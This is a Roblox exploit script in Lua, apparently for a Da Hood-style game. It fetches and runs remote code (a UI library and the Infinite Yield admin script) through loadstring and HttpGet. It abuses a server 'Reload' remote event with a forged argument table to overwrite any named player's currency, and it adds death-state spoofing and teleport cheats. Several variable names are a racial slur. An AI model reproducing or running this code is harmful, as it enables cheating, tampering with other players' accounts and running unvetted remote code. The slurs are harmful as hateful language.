local Library = loadstring(game:HttpGet("https://raw.githubusercontent.com/xHeptc/Kavo-UI-Library/main/source.lua"))() local Window = Library.CreateLib("Bennys's Backdoor", "Sentinel") local Tab = Window:NewTab("Cash") local Section = Tab:NewSection("Cash") local Workspace = game:GetService("Workspace") local Players = game.Players.LocalPlayer local Character = Players.Character function Buy(Object) local Object = Object local LockPicker = Workspace.Ignored.Shop[Object] Character.HumanoidRootPart.CFrame = LockPicker.Head.CFrame + Vector3.new(0, 3, 0) wait(0.5) fireclickdetector(LockPicker.ClickDetector) fireclickdetector(LockPicker.ClickDetector) end Buy("[Revolver] - $1300") wait(0.5) game.ReplicatedStorage:FindFirstChild(".gg/untitledhood"):FireServer( "Reload", { Name = "[Revolver]", --// reminder: [Double-Barrel SG] or [Revolver] works for any gun but i put it here so i can just copy and paste whenever i want to Parent = Game.Players.LocalPlayer.Backpack, ClassName = "Tool", Ammo = {Value = math.huge*9e9}, MaxAmmo = {Value = 0}, GunScript = game:GetService("Players").LocalPlayer.Backpack["[Revolver]"].GunScript, Handle = game:GetService("Players").LocalPlayer.Backpack["[Revolver]"].Handle } ) wait(2) local nigger = game:GetService('Players').LocalPlayer local Nigger2 = nigger.Character Nigger2:FindFirstChildOfClass('Humanoid'):Destroy() local shitCharacter = nigger.CharacterAdded:Wait() local spoofFolder = Instance.new('Folder') spoofFolder.Name = 'FULLY_LOADED_CHAR' spoofFolder.Parent = shitCharacter shitCharacter:WaitForChild('BodyEffects').Dead:Destroy() shitCharacter:WaitForChild('BodyEffects').BreakingParts:Destroy() local spoofValue = Instance.new('BoolValue', shitCharacter.BodyEffects) spoofValue.Name = 'Dead' wait(1) nigger.Character:WaitForChild('Humanoid'):WaitForChild('BodyWidthScale').Value = 0.5 _G.Aiden = "AnthonyKirk44" _G.Amount = 999999999999999999 --- _G.Reset = 1000000 Section:NewTextBox("Username", "The person that receives the money", function(value) _G.Aiden = value end) Section:NewButton("Give Cash", "Gives The Selected Person Cash", function() game.ReplicatedStorage:FindFirstChild(".gg/untitledhood"):FireServer( "Reload", { Name = "[Revolver]", Parent = Game.Players.LocalPlayer.Backpack, ClassName = "Tool", Ammo = game:GetService("Players")[_G.Aiden].DataFolder.Currency, MaxAmmo = {Value = _G.Amount}, GunScript = game:GetService("Players").LocalPlayer.Backpack["[Revolver]"].GunScript, Handle = game:GetService("Players").LocalPlayer.Backpack["[Revolver]"].Handle } ) end) Section:NewButton("Reset Cash", "Reset's The Person's Cash", function() game.ReplicatedStorage:FindFirstChild(".gg/untitledhood"):FireServer( "Reload", { Name = "[Revolver]", Parent = Game.Players.LocalPlayer.Backpack, ClassName = "Tool", Ammo = game:GetService("Players")[_G.Aiden].DataFolder.Currency, MaxAmmo = {Value = _G.Reset}, GunScript = game:GetService("Players").LocalPlayer.Backpack["[Revolver]"].GunScript, Handle = game:GetService("Players").LocalPlayer.Backpack["[Revolver]"].Handle } ) end) local Tab = Window:NewTab("Local") local Section = Tab:NewSection("Player") Section:NewButton("Click TP", "Enables Click TP", function() print("Clicked") mouse = game.Players.LocalPlayer:GetMouse() tool = Instance.new("Tool") tool.RequiresHandle = false tool.Name = "TP" tool.Activated:connect(function() local pos = mouse.Hit+Vector3.new(0,2.5,0) pos = CFrame.new(pos.X,pos.Y,pos.Z) game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = pos end) tool.Parent = game.Players.LocalPlayer.Backpack end) Section:NewButton("Load Infinite Yield", "Loads Infinite Yield", function() print("Clicked") loadstring(game:HttpGet('https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source'))() end) Section:NewKeybind("Close GUI", "Closes The GUI", Enum.KeyCode.RightShift, function() Library:ToggleUI() end) local Tab = Window:NewTab("Teleports") local Section = Tab:NewSection("Teleports") Section:NewButton("Revolver", "Teleports to Revolver", function() print("Clicked") game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-313.6500549316406, 22.556724548339844, -1173.1046142578125) end) Section:NewButton("Double Barrel", "Teleports to DB", function() print("Clicked") game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(353.9109802246094, 47.482913970947266, -794.276611328125) end) Section:NewButton("Center", "Teleports To The Center", function() print("Clicked") game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-201.8201141357422, 22.556718826293945, -985.5420532226562) end) Section:NewButton("Gun Shop", "Teleports To The Gun Shop", function() print("Clicked") game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-210.0341339111328, 22.556720733642578, -889.6668701171875) end) Section:NewButton("Gym", "Teleports To The Gym", function() print("Clicked") game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-332.0563049316406, 44.24421691894531, -1321.5045166015625) end) local Tab = Window:NewTab("FOV") local Section = Tab:NewSection("FOV") Section:NewButton("60 FOV", "Enables 60 FOV", function() print("Clicked") workspace.CurrentCamera.FieldOfView = 60 end) Section:NewButton("80 FOV", "Enables 80 FOV", function() print("Clicked") workspace.CurrentCamera.FieldOfView = 80 end) Section:NewButton("100 FOV", "Enables 100 FOV", function() print("Clicked") workspace.CurrentCamera.FieldOfView = 100 end) Section:NewButton("120 FOV", "Enables 120 FOV", function() print("Clicked") workspace.CurrentCamera.FieldOfView = 120 end) Section:NewButton("140 FOV", "Enables 140 FOV", function() print("Clicked") workspace.CurrentCamera.FieldOfView = 140 end) Section:NewButton("Reset FOV", "Enables 140 FOV", function() print("Clicked") workspace.CurrentCamera.FieldOfView = 70 end)